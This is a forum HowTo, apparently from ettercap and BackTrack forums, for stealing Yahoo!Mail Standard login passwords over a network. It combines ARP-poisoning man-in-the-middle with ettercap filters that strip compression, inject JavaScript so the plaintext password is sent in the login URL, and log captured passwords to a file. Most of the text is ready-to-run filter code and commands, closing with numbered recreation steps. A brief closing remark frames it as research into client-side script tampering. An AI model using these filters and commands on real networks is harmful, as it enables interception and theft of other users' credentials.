http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833
http://forums.remote-exploit.org/backtrack-v2-0-final/8126-ettercap-filter.html
Hello
I've been playing with filters for a little while, and I thought I'd
share some info, in the form of a HowTo. This FAQ applies to ettercapNG
(0.7+) on linux. It may work on other *nix and *bsd (OS X?). It
probably won't work on Windows at the time of writing.
Filters in ettercap are a way of affecting the network traffic,
without having to spend ages coding stuff. You can search packets, drop
them, inject them, find+replace in them, and log them. You can also
print nice messages to the ettercap message window.
Okay, where do we start? What do we want to achieve? I've wanted to
break the Yahoo!Mail Standard login for a while now; it just seems
silly that it isn't covered by SSL. My plan was to change the
javascript in the page so that the password is hashed (like it should
be) but is also logged in plain-text. If you know nothing about
Yahoo!Mail Standard login then please search the forums; I've posted in
a handful of threads to explain how it works (including code listings
of the javascript).
First up
, I used ethereal to
monitor the web traffic that I was interested in. By doing this I
noticed that the page was sent compressed with gzip and/or deflate.
etterfilter really needs plain text, so first challenge was to change
the page into plain HTML and Javascript. I ran burpproxy (www.portswigger.net
) to catch the request send by the client. As expected there was this line:
Code: |
Accept-Encoding: gzip, deflate |
So, 'why not build a filter to zap those types of encoding?', I
thought. According to the etterfilter man page and the examples in
/usr/local/share/ettercap, the following was required:
Code: |
if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "gzip")) { replace("gzip", " "); # note: four spaces in the replacement string msg("whited out gzip/n"); } } if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "deflate")) { replace("deflate", " "); # note: seven spaces in the replacement string msg("whited out deflate/n"); } } |
The above two filters match against all tcp traffic going to
tcp/80. They then search the packets for the required string, and if
there they will replace them with equal-length strings of spaces. They
will also print out a short message to the message window to say what
they have done.
I created a new file in /tmp, (/tmp/kevfilter) and put the above code snippet into it and saved it.
I then run:
Code: |
# cd /tmp
# etterfilter kevfilter |
There weren't any errors. Etterfilter outputted filter.ef, which is the compiled filter that ettercap can use.
I ran ettercap, including the filter:
Code: |
# ettercap -Tq -M arp:remote -F filter.ef // |
I monitored the traffic in ethereal and noticed that the Accept-Encoding line had changed to:
Code: |
Accept-Encoding: , |
which was cool, but not very neat.
I immediately recoded the filter like this:
Code: |
if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!/n"); } } |
By changing Accept-Encoding to Accept-Rubbish! the web server will
simply ignore the parameters (gzip, deflate, whatever) and fall-back to
plain text - Yeehaa. I editted the file, saved it and reran it. It
worked.
Second
, was to change the
javascript. By looking through the page source, I noticed that there
was a variable '.e' that was never used. In the hashing function
(function hash, unsurprisingly
), the password entered into the form is stored in a var called passwd;
this is then hashed with the challenge; and the url containing all the
parameters is constructed (in GET form). I simply needed to add the
plaintext passwd as a variable to the url. I noticed this bit:
Code: |
url += "&.hash=1"; if(js == 0){ url += "&.js=1"; } url += "&.md5=1"; //alert("url=" + url); location.href=url; |
You see, parameters are added to the url by simply appending
"&PARAM=VALUE" to the current url (using the += operator). The last
line prepares the url for sending, so I probably needed to get my stuff
in before that line. That commented-out line looked like a suitable
target. The javascript line I wanted to add was this:
Code: |
url += ".e="+passwd; |
which is actually shorter than the commented-out line. I built the
filter by adding the following code to the same file as above:
Code: |
if (ip.proto == TCP && tcp.src == 80) { if (search(DATA.data, "//alert(/x22url=/x22 + url);")) { replace("//alert(/x22url=/x22 + url);", "url += /x22&.e=/x22+passwd; "); # note: replacement string is same length as original string msg("Sent the passwd in plain-text in '.e'./n"); } } |
This filter operates on traffic with a source
port of tcp/80, rather than a destination port of tcp/80. Note that
quotes (") have been replaced with '/x22', which is the hex of the
ascii for a quote.
I compiled the two filters with etterfilter (it needs to have the
Accept-Encoding filter in there too) and ran ettercap with them. I
reloaded the yahoo page, noted in the message window that the
substitution had taken place and then dumped the page source. In the
hashing function, the commented-out line had been replaced with my
hack. I logged into Yahoo (which was successful BTW) and then stopped
ettercap. Looking in ethereal, I found my passwd in plain-text in the
HTTP GET. Fantastic, but could've been a bit neater.
Lastly then
, I added one more
filter to the file in order to log the packets that were likely to
contain the passwds. This filter looked like this:
Code: |
if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, ".e=")) { msg("Packet logged/n"); log(DATA.data, "/tmp/yahoopasswd.log"); } } |
It matches on all packets with a destination of tcp/80 (send by the
client) and logs all packets that include ".e=". I reran the test with
similar results, except this time I could look in the text file
/tmp/yahoopasswd.log and see the entered passwd.
So, from the top
, to recreate this, you need to do the following:
1)
create a new file called /tmp/kevfilter and enter the following text:
Code: |
if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!/n"); } } if (ip.proto == TCP && tcp.src == 80) { if (search(DATA.data, "//alert(/x22url=/x22 + url);")) { replace("//alert(/x22url=/x22 + url);", "url += /x22&.e=/x22+passwd; "); # note: replacement string is same length as original string msg("Sent the passwd in plain-text in '.e'./n"); } } if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, ".e=")) { msg("Packet logged/n"); log(DATA.data, "/tmp/yahoopasswd.log"); } } |
2)
Compile this file with etterfilter:
Code: |
# cd /tmp
# etterfilter kevfilter |
3)
Run ettercap with this filter:
Code: |
# ettercap -Tq -M arp:remote -F filter.ef // |
4)
Reload the Yahoo!Mail login page and then login.
5)
stop ettercap ('q') and look in /tmp/yahoopasswd.log for the password.
I'll be including most of this HowTo in a paper on Server-provided
Client-side Scripting Modification Vulnerabilities. Hacking yahoo
logins is small-fry. Any web page using client-side javascript (or any
other client-side interpreted script) for security reasons is subject
to unauthorised modification and should be avoided or coded with this
in mind.
BTW
Please remember that you
can only filter traffic on the wire; so ettercap will not filter
traffic generated by the host ettercap is running on. In short, you
need two machines to test this, one for ettercap and one for web
browsing.
Kev